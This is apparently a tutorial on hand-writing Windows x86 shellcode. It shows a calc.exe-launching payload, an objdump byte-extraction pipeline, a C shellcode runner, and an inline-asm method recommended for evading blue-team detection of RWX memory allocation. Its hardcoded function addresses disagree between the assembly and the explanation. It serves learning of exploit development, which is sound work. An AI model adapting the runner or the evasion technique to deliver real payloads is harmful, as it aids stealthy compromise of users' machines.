How Windows Kernel is Different from Linux
When we write a C program for Windows and include:
#include <windows.h>
it automatically brings in all the Windows-related functions we need (like WinExec
or ExitProcess
) by linking the necessary libraries automatically when the program runs.
But when we write a program in assembly language, things are not automatic:
- We don’t get
WinExec
orExitProcess
for free. - We have to manually:
- Find the memory address of those functions ourselves (e.g., from kernel32.dll),
- Put the right inputs (arguments) onto the stack,
- Call the function using a register that holds its address.
Most Windows functions like WinExec
or ExitProcess
come from one of three system files:
ntdll.dll
Kernel32.dll
KernelBase.dll
You can use a debugger like x32dbg to see where these functions are really located in memory when your program runs.
Boilerplate to test shellcode
#run.c
char code[] = "Bytecode Here";
int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) code;
(int)(*func)();
return 1;
}
Finding function memory address
Code
#include <windows.h>
#include <stdio.h>
int main() {
unsigned long Kernel32Addr;
unsigned long ExitProcessAddr;
unsigned long WinExecAddr;
Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);
ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");
printf("ExitProcess address in memory is: 0x%08p\n", ExitProcessAddr);
WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");
printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);
getchar();
return 0;
}
Compile and Run
# Compile in Ubuntu
i686-w64-mingw32-gcc -O2 getaddr.c -o getaddr.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wall -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc >/dev/null 2>&1
#Run
.\getaddr.exe
Run calc.exe
C code
#include <windows.h>
int main(void) {
WinExec("calc.exe", 0);
ExitProcess(0);
}
Compile and Run
# Compile in Ubuntu
i686-w64-mingw32-gcc -o cal.exe cal.c -mconsole -lkernel32
# Run
.\cal.exe
Assembly Code
; program1.asm
section .data
section .bss
section .text
global _start
_start:
xor ecx, ecx
push ecx
push 0x6578652e
push 0x636c6163
mov eax, esp
inc ecx
push ecx
push eax
mov ebx, 0x76f0e5fd
call ebx
xor eax, eax
push eax
mov eax, 0x76ed214f
jmp eax
Explanation
📦 section .data
, section .bss
, section .text
These define the segments of the program:
.data
: For initialized data (not used here).bss
: For uninitialized data (not used here).text
: Where the actual code lives (this is used)
_start:
= Program Entry Point
This is the label for where execution begins.
xor ecx, ecx
- Sets
ecx
= 0 - Often used to get a clean zero value
push ecx
- Pushes a null terminator (0) on the stack
- This will terminate the string
"calc.exe"
as needed by Windows API
push 0x6578652e
- Use this script to convert string to hexadecimal → script How to use it
- Pushes the ASCII characters
.exe
in reverse (.exe
→0x6578652e
)- ASCII:
'e' = 0x65
,'x' = 0x78
,'e' = 0x65
,'.' = 0x2e
- ASCII:
push 0x636c6163
- Pushes ASCII for
calc
in reverse ('calc'
→0x636c6163
)'c' = 0x63
,'a' = 0x61
,'l' = 0x6c
,'c' = 0x63
➡️ Now the stack contains: calc.exe\0
mov eax, esp
- Now
eax
points to the top of the stack, i.e., the start of the string"calc.exe"
inc ecx
ecx
= 1- In Windows API, the function
WinExec
is declared as:
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);
lpCmdLine
is the command to run (e.g.,"calc.exe"
).uCmdShow
tells how the window should be shown (e.g., minimized, maximized, normal).- This is used as the uCmdShow = 1 (SW_SHOWNORMAL) in
WinExec
push ecx ; uCmdShow = 1
push eax ; lpCmdLine = pointer to "calc.exe"
mov ebx, 0x75bce5fd
ebx
is loaded with the memory address of WinExec found above.0x75bce5fd
is assumed to be the memory address ofWinExec
call ebx
- Calls
WinExec("calc.exe", 1)
- Launches the calculator
🧹 Exit Cleanly
xor eax, eax
push eax
- Sets up a zero exit code on the stack
mov eax, 0x75b9214f
- Loads the memory address of
ExitProcess
intoeax
found above.
jmp eax
- Jumps directly to
ExitProcess(0)
- Ends the process cleanly
Compile and run
Compile
nasm -f elf32 -o program1.o program1.asm
ld -m elf_i386 -o program1 program1.o
objdump -M intel -d program1
Extract bytecode
objdump -M intel -d program1 | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'| sed 's/$/"/g'
Replace the bytecode at run.c.
#run.c
char code[] = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xbc\x75\xff\xd3\x31\xc0\x50\xb8\x4f\x21\xb9\x75\xff\xe0";
int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) code;
(int)(*func)();
return 1;
}
Compile
run.c
i686-w64-mingw32-gcc run.c -o run.exe
Run
.\run
Run Shellcode via inline ASM
Code
//hack.cpp
#include <windows.h>
#include <stdio.h>
int main() {
printf("=^..^= meow-meow.n");
asm(".byte 0x90,0x90,0x90,0x90\n\t"
"ret \n\t");
return 0;
}
Explanation
We are just adding 4 NOP(No Operation) instructions and printing meow-meow
string.
- We can easily find the shellcode in debugger based on this meow string.
Compile and Run
Compile
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -fpermissive
Debug
As we can see, the 4 NOP(No Operation) instruction, so everything work perfectly as expected.
Tip
The reason this good technique to use because it does not require you to allocate new
RWX
memory to copy your shellcode over to by usingVirtualAlloc
which is more popular and suspicious and which is more closely investigated by the blue teamers.